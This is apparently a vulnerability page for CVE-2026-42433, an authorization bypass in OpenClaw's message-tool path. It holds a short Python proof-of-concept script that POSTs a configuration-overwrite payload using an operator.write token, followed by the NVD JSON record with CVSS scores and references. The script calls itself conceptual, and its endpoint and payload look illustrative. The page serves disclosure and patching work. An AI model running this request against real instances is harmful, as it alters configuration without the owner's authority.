CVE-2026-42433

import requests # Conceptual Proof of Concept for CVE-2026-42433 # This script demonstrates the authorization bypass by attempting to modify # Matrix profile persistence using operator.write privileges. def exploit(target_url, token): headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Payload attempting to mutate persistent profile configuration # via the vulnerable message-tool path payload = { "action": "update_profile", "tool": "message-tool", "persistence": { "matrix_config": "malicious_override" } } try: response = requests.post(f"{target_url}/api/tools/message-tool", json=payload, headers=headers) if response.status_code == 200: print("[+] Potential exploitation successful. Configuration may be altered.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target and operator.write token target = "http://vulnerable-openclaw-instance" operator_token = "operator_write_token_here" exploit(target, operator_token)

{"cve": {"id": "CVE-2026-42433", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:17.627", "lastModified": "2026-05-05T19:47:31.297", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.10 contains an authorization bypass vulnerability allowing operator.write message-tool paths to access Matrix profile persistence requiring admin-level authority. Attackers can exploit insufficient access controls to mutate persistent profile configuration through non-owner message-tool runs."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/fe0f686c9228fffcec6de4011da45e69a6e23e54", "source": "[email protected]"}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7jp6-r74r-995q", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/openclaw-unauthorized-matrix-profile-config-persistence-access-via-operator-write-message-tools", "source": "[email protected]"}]}}